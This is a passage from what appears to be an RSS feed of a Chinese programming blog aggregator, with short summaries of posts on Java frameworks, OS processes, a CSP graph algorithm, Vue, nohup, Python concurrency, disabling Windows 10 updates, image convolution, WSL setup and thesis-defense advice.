我本次的成果可以在xx领域提高过程的效率，简化操作流程，替代传统方法。尽管目前成本较高，但它在等许多方面已经展现出了巨大的商业化潜力!&#xA;后端技术方案 SSH框架 SSH是struts+spring+hibernate的一个集成框架，是一种Web应用程序开源框架。从职责上分为四层:表示层、业务逻辑层、数据持久层和域模块层，可复用性好、维护方便的Web应用程序。其中使用Struts作为系统的整体基础架构，负责MVC的分离，在Struts框架的模型部分，控制业务跳转，利用Hibernate框架对持久层提供支持，Spring来 管理struts和hibernate。&#xA;SSM框架 SSM（Spring+SpringMVC+MyBatis）框架集由Spring、MyBatis两个开源框架整合而成（SpringMVC是Spring中的部分内容）。常作为数据源较简单的web项目的框架。&#xA;Springboot Spring Boot 是由 Pivotal 团队提供的全新框架，其设计目的是用来简化新 Spring 应用的初始搭建以及开发过程。该框架使用了特定的方式来进行配置，从而使开发人员不再需要定义样板化的配置。用我的话来理解，就是 Spring Boot 其实不是什么新的框架，它默认配置了很多框架的使用方式，就像 Maven 整合了所有的 Jar 包，Spring Boot 整合了所有的框架。</description>
    </item>
    <item>
      <title>《操作系统导论》知识总结 第四章 抽象：进程</title>
      <link>https://bchobby.github.io/posts/cc131c19af3113b5ad423f04107769ad/</link>
      <pubDate>Wed, 11 May 2022 21:10:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cc131c19af3113b5ad423f04107769ad/</guid>
      <description>进程的非正式定义非常简单：进程就是运行中的程序。&#xA;关键问题：如何提供有许多 CPU 的假象？&#xA;操作系统通过虚拟化（virtualizing）CPU 来提供这种假象。通过让一个进程只运行一个时间片，然后切换到其他进程，操作系统提供了存在多个虚拟 CPU 的假象。这就是时分共享（time sharing）CPU 技术，允许用户如愿运行多个并发进程。潜在的开销就是性能损失，因为如果 CPU 必须共享，每个进程的运行就会慢一点。&#xA;抽象：进程 操作系统为正在运行的程序提供的抽象，就是所谓的进程（process）。&#xA;为了理解构成进程的是什么，我们必须理解它的机器状态（machine state）：程序在运行时可以读取或更新的内容。&#xA;内存：指令存在内存中。正在运行的程序读取和写入的数据也在内存中。寄存器：程序计数器告诉我们程序当前正在执行哪个指令；栈指针和帧指针用于管理函数参数栈、局部变量和返回地址。 进程 API API，全称Application Programming Interface，即应用程序编程接口。&#xA;API就是操作系统给应用程序的调用接口，应用程序通过调用操作系统的 API而使操作系统去执行应用程序的命令（动作）。（资料来源于网络）&#xA;这里先介绍一下操作系统的所有接口必须包含哪些内容。&#xA;创建（create）：操作系统必须包含一些创建新进程的方法。在 shell 中键入命令或双击应用程序图标时，会调用操作系统来创建新进程，运行指定的程序。销毁（destroy）：由于存在创建进程的接口，因此系统还提供了一个强制销毁进程的接口。当然，很多进程会在运行完成后自行退出。但是，如果它们不退出，用户可能希望终止它们，因此停止失控进程的接口非常有用。等待（wait）：有时等待进程停止运行是有用的，因此经常提供某种等待接口。其他控制（miscellaneous control）：除了杀死或等待进程外，有时还可能有其他控制。例如，大多数操作系统提供某种方法来暂停进程（停止运行一段时间），然后恢复（继续运行）。状态（statu）：通常也有一些接口可以获得有关进程的状态信息，例如运行了多长时间，或者处于什么状态。 进程创建：更多细节 操作系统运行程序必须做的第一件事是将代码和所有静态数据（例如初始化变量）从磁盘加载（load）到内存中，加载到进程的地址空间中。在早期的（或简单的）操作系统中，加载过程尽早（eagerly）完成，即在运行程序之前全部完成。现代操作系统惰性（lazily）执行该过程，即仅在程序执行期间需要加载的代码或数据片段，才会加载。&#xA;为栈分配空间：将代码和静态数据加载到内存后，必须为程序的运行时栈（run-time stack 或 stack）分配一些内存。C 程序使用栈存放局部变量、函数参数和返回地址。操作系统也可能会用参数初始化栈。具体来说，它会将参数填入 main()函数，即 argc 和 argv 数组。为堆分配空间：操作系统也可能为程序的堆（heap）分配一些内存。程序通过调用 malloc()来请求这样的空间，并通过调用 free()来明确地释放它。数据结构（如链表、散列表、树和其他有趣的数据结构）需要堆。I/O 初始化：操作系统还将执行一些其他初始化任务，特别是与输入/输出（I/O）相关的任务。例如，在 UNIX 系统中，默认情况下每个进程都有 3 个打开的文件描述符（file descriptor），用于标准输入、输出和错误。这些描述符让程序轻松读取来自终端的输入以及打印输出到屏幕。运行程序入口：通过将代码和静态数据加载到内存中，通过创建和初始化栈以及执行与 I/O 设置相关的其他工作，完成准备后，接下来就是启动程序，在入口处运行，即 main()。 进程状态 进程可以处于以下 3 种状态之一。&#xA;运行（running）：在运行状态下，进程正在处理器上运行。这意味着它正在执行指令。就绪（ready）：在就绪状态下，进程已准备好运行，但由于某种原因，操作系统选择不在此时运行。阻塞（blocked）：在阻塞状态下，一个进程执行了某种操作，直到发生其他事件时才会准备运行。一个常见的例子是，当进程向磁盘发起 I/O 请求时，它会被阻塞，因此其他进程可以使用处理器&#xA;可以根据操作系统的载量，让进程在就绪状态和运行状态之间转换。从就绪到运行意味着该进程已经被调度（scheduled）。从运行转移到就绪意味着该进程已经取消调度（descheduled）。一旦进程被阻塞（例如，通过发起 I/O 操作），OS 将保持进程的这种状态，直到发生某种事件（例如，I/O 完成）。此时，进程再次转入就绪状态（也可能立即再次运行，如果操作系统这样决定）。&#xA;总结：一个进程阻塞或停止时，就会去调度另一个就绪的进程，从而让 cpu 一直保持在满负荷状态。 书中23页有两个例子很好解释了这些状态转换，这里不详细说了。&#xA;数据结构 为了跟踪每个进程的状态，操作系统可能会为所有就绪的进程保留某种进程列表（process list），以及跟踪当前正在运行的进程的一些附加信息。操作系统还必须以某种方式跟踪被阻塞的进程。当 I/O 事件完成时，操作系统应确保唤醒正确的进程，让它准备好再次运行。</description>
    </item>
    <item>
      <title>CSP第十二次认证 行车路线 拆点</title>
      <link>https://bchobby.github.io/posts/377f1b948ee573381b59a3471951fbaa/</link>
      <pubDate>Wed, 11 May 2022 17:23:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/377f1b948ee573381b59a3471951fbaa/</guid>
      <description>这道题的关键是如何解决连续小路的情况，因为题目保证答案不超过1e6,说明小路的连续长度不超过1000，给了我们提示，可以将点拆分为两个属性，一个是点的序号，另一个则是最后一段连续小路的长度，所以我们的dist数组dist[i][j]可以表示，从第1个点开始到第i个点，最后一段连续小路的长度为j的疲劳值，这样的话我们就可以同时记录两个我们所需要的值。&#xA;ps：dijkstra算法中需要的st判重数组也要拆成两个。&#xA;每次更新dist数组需要考虑大路小路两种情况（如下图的两种更新方式），有点类似于动态规划里边的集合的划分，&#xA;ps:为了区分两种路我们引入了t数组存储type&#xA;最后一条小路的长度不超过1000，同一个点，由于第二维j的不同所以每个点拆成1001个点，我们拆了点之后n相当于500*1001，n是1e5的数据量，m是1e5，所以朴素版的dijkstra和SPFA都会超时，这里我们选择堆优化版的dijkstra。&#xA;拆点在CSP目前已经考了三次了，本题是第三次）&#xA;拆点：&#xA;第一次CCF考试第四题：3200. 无线网络 - AcWing题库&#xA;第七次CCF考试第四题：3230. 游戏 - AcWing题库&#xA;第十二次CCF考试第四题：AcWing 3255. 行车路线&#xA;代码如下：&#xA;#include&amp;lt;iostream&amp;gt; #include&amp;lt;algorithm&amp;gt; #include&amp;lt;cstring&amp;gt; #include&amp;lt;queue&amp;gt; using namespace std; const int N = 510, M = 1e5 + 10; int dist[N][1010], h[N], ne[2*M], e[2*M], idx, n, m, t[2*M],w[2*M]; bool st[N][1010]; void add(int type, int a, int b, int c) { t[idx] = type;w[idx]=c; e[idx] = b; ne[idx] = h[a]; h[a] = idx++; } struct Node { int dis,p,v; bool operator&amp;lt;(const Node &amp;amp;w)const { return dis&amp;gt;w.</description>
    </item>
    <item>
      <title>vue 抽离出公共的js文件</title>
      <link>https://bchobby.github.io/posts/ebcfa917fde79629f58f999dce481d6d/</link>
      <pubDate>Wed, 11 May 2022 16:26:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ebcfa917fde79629f58f999dce481d6d/</guid>
      <description>目录结构：&#xA;api&amp;gt;&amp;gt;indiex.ts如下&#xA;export * from &#39;./common&#39; export * from &#39;./site-survey&#39; export * from &#39;./engine-progress&#39; export * from &#39;./project&#39; 其余内部文件里面ts为：&#xA;import { getApi, postApi } from &#39;@/composables/useApi&#39; export const getDetail = async ({ id, node }) =&amp;gt; { const res = await getApi(&#39;/api/customer/project/detail&#39;, { id, currentNode: node }) return res.data } export const projectSubmit = async (data) =&amp;gt; { const res = await postApi(&#39;/api/customer/project/submit&#39;, data) return res.data } export const getMessageCount = async (data) =&amp;gt; { const res = await postApi(&#39;/api/message/getMessageCount&#39;, data) return res.</description>
    </item>
    <item>
      <title>nohup 命令之 nohup: ignoring input and appending output to ‘nohup.out’</title>
      <link>https://bchobby.github.io/posts/d3fbfeb59fd07633c46b95297d3345da/</link>
      <pubDate>Wed, 11 May 2022 16:10:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d3fbfeb59fd07633c46b95297d3345da/</guid>
      <description>当我在linux中使用nohup 命令的时候，出现了这个错误：&#xA;nohup: ignoring input and appending output to ‘nohup.out’ 忽略输入输出，将信息化信息记录到nohup.out文件中。 补充：nohup 命令 nohup 英文全称 no hang up（不挂起），用于在系统后台不挂断地运行命令，退出终端不会影响程序的运行。&#xA;nohup 命令，在默认情况下（非重定向时），会输出一个名叫 nohup.out 的文件到当前目录下，如果当前目录的 nohup.out 文件不可写，输出重定向到 $HOME/nohup.out 文件中。&#xA;1、用途：LINUX命令用法，不挂断地运行命令。&#xA;2、语法：nohup Command [ Arg ... ] [&amp;amp;]&#xA;3、描述：nohup 命令运行由 Command 参数和任何相关的 Arg 参数指定的命令，忽略所有挂断信号。&#xA;4、在注销后使用 nohup 命令运行后台中的程序。要运行后台中的 nohup 命令，添加 &amp;amp;到命令的尾部。&#xA;使用格式： nohup Command [ Arg … ] [　&amp;amp; ] 举例： 比如，我们输入这个nohup命令：&#xA;nohup /root/runoob.sh &amp;amp; 如果在终端看到下面所示的输出说明的话，就说明该nohup命令运行成功了：&#xA;appending output to nohup.out 那么现在当我们打开 root 目录的时候，我们就可以看到生成了一个 nohup.</description>
    </item>
    <item>
      <title>Python 并发编程</title>
      <link>https://bchobby.github.io/posts/e3373e65dbe8a43a5e792447d53c5d64/</link>
      <pubDate>Wed, 11 May 2022 15:29:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e3373e65dbe8a43a5e792447d53c5d64/</guid>
      <description>目录&#xA;一. 为什么需要引入并发编程呢？&#xA;二. 怎么样选择多线程，多进程和多协程？&#xA;1. CPU 密集型与 I/O 密集型&#xA;2. 多线程，多进程和多协程的对比&#xA;三. python 的全局解释器锁（GIL）&#xA;1. python 速度慢的两大原因&#xA;2. GIL 是什么？&#xA;3. 为什么会有GIL 这个东西？&#xA;4. 怎么样规避GIL 带来的限制？&#xA;四. 使用多线程加速python spider&#xA;1. python 创建线程的方法；&#xA;2. 改写spider程序，变成多线程爬取；&#xA;五. 生产消费者spider&#xA;1. 多组件的Pipeline 技术架构&#xA;2. 生产者消费者的爬虫架构&#xA;3. 生产者消费者爬虫&#xA;六. python 线程安全问题以及解决方案&#xA;1. 线程安全的概念&#xA;2. python 可以使用 Lock 类来解决线程安全问题&#xA;七. python 线程池 ThreadPoolExecutor&#xA;1. 线程池的原理&#xA;2. 使用线程池的好处&#xA;3. ThreadPoolExecutor 的使用，使用线程池改造爬虫程序&#xA;八. 在web 服务中使用线程池加速&#xA;1. web 服务的架构以及特点</description>
    </item>
    <item>
      <title>彻底关闭Win10自动更新（转载）</title>
      <link>https://bchobby.github.io/posts/f58cf1ac2c6ae3be94851aa4f399a3e5/</link>
      <pubDate>Wed, 11 May 2022 15:13:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f58cf1ac2c6ae3be94851aa4f399a3e5/</guid>
      <description>转自：如何彻底关闭win10自动更新 win10彻底关闭自动更新方法【步骤】-太平洋IT百科&#xA;win10的自动更新可谓是非常顽固，很多用户在网上试了各种关闭win10自动更新的方法，刚开始看着好像是关闭更新了，可没过多久系统就又开始自动更新了。今天就来教大家如何彻底关闭win10自动更新，该方法亲测有效。&#xA;我是1月8号装的win10系统，现在已经3月9号了，系统安安静静，没有任何自动更新的迹象&#xA;win10彻底关闭自动更新方法步骤：&#xA;由于win10自动更新非常顽固，所以我们要从多个地方下手才能永久关闭其自动更新，别怕麻烦，跟着下面的步骤一步步操作。&#xA;一、禁用Windows Update服务&#xA;1、同时按下键盘 Win + R，打开运行对话框，然后输入命令 services.msc ，点击下方的“确定”打开服务。&#xA;2、找到 Windows Update 这一项，并双击打开。&#xA;3、双击打开它，点击“停止”，把启动类型选为“禁用”，最后点击应用。&#xA;4、接下再切换到“恢复”选项，将默认的“重新启动服务”改为“无操作”，然后点击“应用”“确定”。&#xA;二、在组策略里关闭Win10自动更新相关服务&#xA;1、同时按下Win + R 组合快捷键打开运行命令操作框，然后输入“gpedit.msc”，点击确定。&#xA;2、在组策略编辑器中，依次展开 计算机配置 -&amp;gt; 管理模板 -&amp;gt; Windows组件 -&amp;gt; Windows更新&#xA;3、然后在右侧“配置自动更新”设置中，将其设置为“已禁用”并点击下方的“应用”然后“确定”。&#xA;4、之后还需要再找到“删除使用所有Windows更新功能的访问权限”，选择已启用，完成设置后，点击“应用”“确定”。&#xA;三、禁用任务计划里边的Win10自动更新&#xA;1、同时按下 Win + R 组合快捷键打开““运行”窗口，然后输入“taskschd.msc”，并点击下方的“确定”打开任务计划程序。&#xA;2、在任务计划程序的设置界面，依次展开 任务计划程序库 -&amp;gt; Microsoft -&amp;gt; Windows -&amp;gt; WindowsUpdate，把里面的项目都设置为 [ 禁用 ] 就可以了。(我这里边只有一个任务，你的电脑里可能会有2个或者更多，全部禁用就行了)&#xA;四、在注册表中关闭Win10自动更新&#xA;1、同时按下 Win + R 组合快捷键，打开运行对话框，然后输入命名 regedit，然后点击下方的「 确定 」打开注册表。&#xA;2、在注册表设置中，找到并定位到 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\UsoSvc]。然后在右侧找到“Start”键。&#xA;2、点击修改，把start值改成16进制，值改为“4”，然后点击「 确定 」保存数据&#xA;3、继续在右侧找到“FailureActions”键，右键点击修改该键的二进制数据，将“0010”、“0018”行的左起第5个数值由原来的“01”改为“00”，完成后，点击下方的“确定”即可&#xA;至此彻底关闭win10自动更新的操作步骤就全部完成了</description>
    </item>
    <item>
      <title>理解图像卷积操作的意义</title>
      <link>https://bchobby.github.io/posts/4dade19ef9f4edf429785f6e66575f1f/</link>
      <pubDate>Wed, 11 May 2022 14:01:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4dade19ef9f4edf429785f6e66575f1f/</guid>
      <description>数字信号处理中卷积 卷积一词最开始出现在信号与线性系统中，信号与线性系统中讨论的就是信号经过一个线性系统以后发生的变化。由于现实情况中常常是一个信号前一时刻的输出影响着这一时刻的输出，所在一般利用系统的单位响应与系统的输入求卷积，以求得系统的输出信号（当然要求这个系统是线性时不变的）。&#xA;卷积的定义：&#xA;卷积是两个变量在某范围内相乘后求和的结果。如果卷积的变量是序列x(n)和h(n)，则卷积的结果：&#xA;数字图像处理中卷积 数字图像是一个二维的离散信号，对数字图像做卷积操作其实就是利用卷积核（卷积模板）在图像上滑动，将图像点上的像素灰度值与对应的卷积核上的数值相乘，然后将所有相乘后的值相加作为卷积核中间像素对应的图像上像素的灰度值，并最终滑动完所有图像的过程。&#xA;这张图可以清晰的表征出整个卷积过程中一次相乘后相加的结果：该图片选用3*3的卷积核，卷积核内共有九个数值，所以图片右上角公式中一共有九行，而每一行都是图像像素值与卷积核上数值相乘，最终结果-8代替了原图像中对应位置处的1。这样沿着图片一步长为1滑动，每一个滑动后都一次相乘再相加的工作，我们就可以得到最终的输出结果。除此之外，卷积核的选择有一些规则：&#xA;1）卷积核的大小一般是奇数，这样的话它是按照中间的像素点中心对称的，所以卷积核一般都是3x3，5x5或者7x7。有中心了，也有了半径的称呼，例如5x5大小的核的半径就是2。&#xA;2）卷积核所有的元素之和一般要等于1，这是为了原始图像的能量（亮度）守恒。其实也有卷积核元素相加不为1的情况，下面就会说到。&#xA;3）如果滤波器矩阵所有元素之和大于1，那么滤波后的图像就会比原图像更亮，反之，如果小于1，那么得到的图像就会变暗。如果和为0，图像不会变黑，但也会非常暗。&#xA;4）对于滤波后的结构，可能会出现负数或者大于255的数值。对这种情况，我们将他们直接截断到0和255之间即可。对于负数，也可以取绝对值。&#xA;边界补充问题 上面的图片说明了图像的卷积操作，但是他也反映出一个问题，如上图，原始图片尺寸为77，卷积核的大小为33，当卷积核沿着图片滑动后只能滑动出一个55的图片出来，这就造成了卷积后的图片和卷积前的图片尺寸不一致，这显然不是我们想要的结果，所以为了避免这种情况，需要先对原始图片做边界填充处理。在上面的情况中，我们需要先把原始图像填充为99的尺寸。&#xA;常用的区域填充方法包括：&#xA;为了画图方便，这里就不用55的尺寸了，用33定义原始图像的尺寸，补充为9*9的尺寸，图片上的颜色只为方便观看，并没有任何其他含义。&#xA;原始图像：&#xA;补零填充 边界复制填充 镜像填充 块填充 以上四种边界补充方法通过看名字和图片就能理解了，不在多做解释。&#xA;不同卷积核下卷积意义 我们经常能看到的，平滑，模糊，去燥，锐化，边缘提取等等工作，其实都可以通过卷积操作来完成，下面我们一一举例说明一下：&#xA;一个没有任何作用的卷积核： 卷积核：&#xA;将原像素中间像素值乘1，其余全部乘0，显然像素值不会发生任何变化。&#xA;平滑均值滤波： 选择卷积核：&#xA;该卷积核的作用在于取九个值的平均值代替中间像素值，所以起到的平滑的效果：&#xA;高斯平滑： 卷积核：&#xA;高斯平滑水平和垂直方向呈现高斯分布，更突出了中心点在像素平滑后的权重，相比于均值滤波而言，有着更好的平滑效果。&#xA;图像锐化： 卷积核：&#xA;该卷积利用的其实是图像中的边缘信息有着比周围像素更高的对比度，而经过卷积之后进一步增强了这种对比度，从而使图像显得棱角分明、画面清晰，起到锐化图像的效果。&#xA;除了上述卷积核，边缘锐化还可以选择：&#xA;梯度Prewitt： 水平梯度卷积核：&#xA;垂直梯度卷积核：&#xA;梯度Prewitt卷积核与Soble卷积核的选定是类似的，都是对水平边缘或垂直边缘有比较好的检测效果。&#xA;Soble边缘检测： Soble与上述卷积核不同之处在于，Soble更强调了和边缘相邻的像素点对边缘的影响。&#xA;水平梯度：&#xA;垂直梯度：&#xA;以上的水平边缘与垂直边缘检测问题可以参考：Soble算子水平和垂直方向导数问题 http://blog.csdn.net/chaipp0607/article/details/54348624&#xA;梯度Laplacian： 卷积核：&#xA;Laplacian也是一种锐化方法，同时也可以做边缘检测，而且边缘检测的应用中并不局限于水平方向或垂直方向，这是Laplacian与soble的区别。下面这张图可以很好的表征出二者的区别：来源于OpenCV官方文档 http://docs.opencv.org/master/d5/d0f/tutorial_py_gradients.html&#xA;OpenCV实现 可以利用OpenCV提供的filter2D函数完成对图像进行卷积操作，其函数接口为：&#xA;CV_EXPORTS_W void filter2D( InputArray src, OutputArray dst, int ddepth, InputArray kernel, Point anchor=Point(-1,-1), double delta=0, int borderType=BORDER_DEFAULT ); 第一个参数: 输入图像</description>
    </item>
    <item>
      <title>解决 Cannot download node-sass 切换淘宝源</title>
      <link>https://bchobby.github.io/posts/fc43840c59d9ed5a24987ceee54c26b5/</link>
      <pubDate>Wed, 11 May 2022 13:21:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fc43840c59d9ed5a24987ceee54c26b5/</guid>
      <description> 执行以下语句&#xA;npm config set sass_binary_site=https://npm.taobao.org/mirrors/node-sass 重新执行 npm install&#xA;或切换为dart-sass&#xA;//先安装dart-sass npm install node-sass@npm:dart-sass //安装成功后再安装sass和sass-loader npm install sass sass-loader </description>
    </item>
    <item>
      <title>Code Composer Studio(CCS)主题配色自定义教程</title>
      <link>https://bchobby.github.io/posts/9f17c5df1f58f7a169dde71964db484b/</link>
      <pubDate>Wed, 11 May 2022 11:24:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9f17c5df1f58f7a169dde71964db484b/</guid>
      <description> 1概要 文章以黑色主题为例，列出了比较直观的一些设置项，仅适用CCS11及以上。颜色值供参考，请根据个人喜好更改。效果如图：&#xA;2开始 设置提示，先点Apply再点Apply And Close，否则有些设置项参数可能不保存。&#xA;2.1先设置主题 2.2字体设置 这里推荐一个对中文比较友好的字体：YaHei Consolas Hybrid。(链接: https://pan.baidu.com/s/1uWz2yPdsRjX7YTf6N908wQ?pwd=jr44 提取码: jr44)&#xA;Git变动颜色一般只需改图中那两个位置即可：&#xA;Ignored Resource (Foreground) ，灰色(120,120,120)；&#xA;Uncommitted Change (Foreground)，浅蓝色(114,157,186)。&#xA;2.3文本编辑器相关设置 这里自定义3项，编辑器背景色，当前行背景色和选中区域背景色。如果没有显示行号的在这里可以勾上。&#xA;当前行高亮颜色深灰色RGB(48,48,48)，选中区域背景色深绿色RGB(0,102,0)，背景色为深灰色RGB(24,24,24)。&#xA;2.4代码颜色自定义 class，struct，Union，红色RGB(213,89,89)；&#xA;Function declarations， 天蓝色RGB(191,216,255)，用于C；&#xA;Function，深海蓝RGB(113,173,200)，用于C；&#xA;Keywords，玫瑰红RGB(191,0,96)；&#xA;Method declarations，青草绿RGB(0,189,0)，用于C++；&#xA;Methods，纯白色RGB(255,255,255)，用于C++；&#xA;Numbers，枫芽紫RGB(191,128,255)；&#xA;Strings，蛋黄橙RGB(255,198,0)；&#xA;Typedefs，浅海蓝RGB(0,208,208)；&#xA;2.5注释颜色自定义 /*Multi-line comment*/ 多行注释，枯草绿RGB(81,81,40)；&#xA;//Single-line comment，单行注释，死草灰RGB(82,83,66)；&#xA;3 END </description>
    </item>
    <item>
      <title>找到代码的两种方法</title>
      <link>https://bchobby.github.io/posts/b98c90a3e2ad1b905c835c2508d51886/</link>
      <pubDate>Wed, 11 May 2022 10:48:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b98c90a3e2ad1b905c835c2508d51886/</guid>
      <description> 找到代码的两种方法 (1)在elements中找 (2)用vue调试工具 </description>
    </item>
    <item>
      <title>Windos 安装子系统</title>
      <link>https://bchobby.github.io/posts/f64ca2592644796faf584e788c5c175c/</link>
      <pubDate>Wed, 11 May 2022 10:28:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f64ca2592644796faf584e788c5c175c/</guid>
      <description>前言 参考文章 https://blog.csdn.net/moshowgame/article/details/109039727&#xA;WIN10的所有非精简版的系统，都已经内置Linux内核，可以直接打开一个PC应用一样使用Ubuntu子系统。这是非常Cool的体验，并且经历了一段时间的完善和摸索，现在应用起来都非常成熟。&#xA;本教程包含&#xA;启用linux功能和从微软商店安装Ubuntu配置和启用SSH连接，使用xshell远程连接安装xfce4图形界面和RDP远程桌面连接 不过，网上说只有专业和企业版可以使用，其实我家庭版也是ok的，只要Microsoft Store商店可以打开。Ghost版的似乎大部分都不行，有待大家验证）。&#xA;整理 by zhengkai.blog.csdn.net&#xA;更新于 2020年10月13日：&#xA;新增关于修改阿里云软件源中focal代号的解释 https://developer.aliyun.com/mirror/ubuntu优化连接SSH部分的描述补充清华大学的软件源（阿里云的focal源无法安装xfce4，切换到清华的源则可以） 准备工作：打开Linux子系统功能 1.打开控制面板 ，选择 程序和功能 ，选择 开启或关闭windows功能。&#xA;2.在Windows功能中找到 适用于Linux的Windows子系统 ，选择并保存。&#xA;3.等待安装完毕，重启电脑。&#xA;安装步骤：从Microsoft Store一键安装 安装步骤非常简单，只要能够正常打开 Microsoft Store ，也就是微软的Win10 UWP商店， 就可以搜索到 Ubuntu 进行下载，一般使用最新的LTS长期支持版本，例如当前是 Ubuntu 20.04 LTS 。&#xA;打开Ubuntu应用 安装完成后，可以从Win10商店，或者开始菜单中选择，使用Ubuntu就像打开一个应用一样简单，无需各种虚拟机！&#xA;Ubuntu子系统的安装位置 Administrator换成你自己的用户名&#xA;C:\Users\Administrator\AppData\Local\Packages\C:\Users\Administrator\AppData\Local\Packages\CanonicalGroupLimited.Ubuntu20.04onWindows_79rhkp1fndgsc\by zhengkai.blog.csdn.netC:\Users\Administrator\AppData\Local\Packages\CanonicalGroupLimited.Ubuntu20.04onWindows_79rhkp1fndgsc\LocalState\rootfs 初始化Ubuntu配置：账号和密码 首次进入系统需要根据提示设置 用户名 和 密码 。&#xA;而且必须注意的是，用户名和密码均不建议使用大写，输入密码的时候屏幕也不会显示，请谨慎输入。&#xA;设置好 Username &amp;amp; Password 后，即进入Ubuntu系统的Terminal终端界面，此时的Ubuntu子系统是没有图形界面的。&#xA;更换软件源-&amp;gt;阿里云/清华：为了更快的安装软件速度 备份原数据源文件。&#xA;sudo cp /etc/apt/sources.list /etc/apt/sources_init.list使用vim，编辑数据源文件，清空并重新写入阿里源。&#xA;sudo vim /etc/apt/sources.list *. 附加： 这里需要顺便温习一下VIM编辑器</description>
    </item>
    <item>
      <title>计算机专业答辩技巧小结</title>
      <link>https://bchobby.github.io/posts/2ccc0d39867c8df839ba20160ee480f1/</link>
      <pubDate>Wed, 11 May 2022 09:33:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2ccc0d39867c8df839ba20160ee480f1/</guid>
      <description>准备 PPT 按照论文的答辩要求，大部分学校都要求大家准备好PPT，一般PPT不宜太长，图片需要多，而文字需要少一点，答辩时切勿一个字一个字的照读PPT。&#xA;PPT需要写些什么：&#xA;毕设项目名字，你的名字，导师名字毕设的介绍，你的毕设是什么，拿来干什么的技术选型，有什么技术，为什么用这个，有什么优势毕设的功能，有什么功能，能解决什么 【也可以直接进行系统演示不进行下面的不足和优化】&#xA;5. 不足以及优化&#xA;最后：【结束语】 比如说这篇论文是我自己通过查阅XXX，竭尽所能运用自己大学四年的知识独立完成的，在设计上可能存在不足，期间非常感谢XXX老师一直的支持，请各位老师指正，我一定会好好提升。&#xA;毕设项目 如果答辩需要运行项目做展示，检查自己的投影/共享屏幕功能是否正常，如果课室没有网络，断网状态下项目是否能运行起来。&#xA;在自己的电脑上操作要运行的功能模块，如果毕设项目还存在某个模块的bug，尽量在前端注释隐藏，或者尽量避免运行该模块。&#xA;答辩稿 提前写好答辩的大纲，第一步需要讲什么，第二步需要讲什么。&#xA;需要讲什么：参考PPT的流程，在稿件上提示自己要讲除了PPT以外的内容。（也可以打印出ppt直接在ppt正背面写稿）&#xA;论文 一般答辩的时候，需要递交论文给指导老师，然后再答辩。&#xA;老师可能根据论文问问题，所以对论文也要有“比较全面的熟悉”&#xA;流程 提交答辩申请、答辩评分表等材料以及论文给指导老师。&#xA;要按时答辩，千万不要迟到，如果有特殊情况，要请假。&#xA;穿着得体，要有礼貌，不一定是西服什么的，但是要得体，比如穿个睡衣拖鞋什么的肯定不行，这些可能不加分，但是没有可能就减分。&#xA;首先是全世界统一的开场白，介绍自己、论文题目、指导老师，一定要介绍自己的指导老师哦。&#xA;根据PPT，自信的演讲。&#xA;演讲的时候声音一定要让老师们听得到，自信发言，这样能让老师感觉你有底气。&#xA;记得控制好时间。&#xA;沉着冷静，边听边记&#xA;精神集中，认真思考&#xA;既要自信，又要虚心&#xA;实事求是，绝不勉强&#xA;听准听清，听懂听明&#xA;提问 一般有3~5个问题&#xA;回答问题，一定不要和老师杠，理智冷静谦虚的解释/回答老师的问题，少说可能，应该；有老师提出的意见老师说什么就是什么，专心听着，虚心接受。有不会的问题，不要随便蒙，实在不行就“问就道歉”。&#xA;一定要配合老师，老师问你什么你就答什么，前往不要天马行空。&#xA;回答问题要注意的几点：&#xA;（1）正确、准确。正面回答问题，不转换论题，更不要答非所问。&#xA;（2）重点突出。抓住主题、要领，抓住关键词语，言简意赅。&#xA;（3）清晰明白。开门见山，直接入题，不绕圈子。&#xA;（4）有答有辩。有坚持真理、修正错误的勇气。既敢于阐发自己独到的新观点、真知灼见，维护自己正确观点，反驳错误观点，又敢于承认自己的不足，修正失误。&#xA;（5）辩才技巧。讲普通话，用词准确，讲究逻辑，吐词清楚，声音洪亮，抑扬顿挫，助以手势说明问题；力求深刻生动；对答如流，说服力、感染力强，给教师和听众留下良好的印象。&#xA;答辩过程中，老师问的问题一般都和你的设计有关，特别是设计中的一些关键技术，比如：数据库链接方式，数据库设计中的ER图、范式等。一般不会太难，都是一些学过的知识。&#xA;对自己设计的评价不要绝对化。比如填补什么空白、国内领先、很好、没有什么问题、最优之类的字眼。回答问题时要谦虚、诚恳，态度端正。&#xA;听取答辩小组成员的提问，精神要高度集中，同时，将提问的问题——记在本上。</description>
    </item>
    <item>
      <title>计算机专业毕业设计答辩稿</title>
      <link>https://bchobby.github.io/posts/425ededdd5dd41af8bf8723ab0188980/</link>
      <pubDate>Wed, 11 May 2022 09:32:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/425ededdd5dd41af8bf8723ab0188980/</guid>
      <description>实例一 尊敬的各位老师：&#xA;您们好！&#xA;我叫xxx，来自 xx班，学号 xx，我论文的题目是 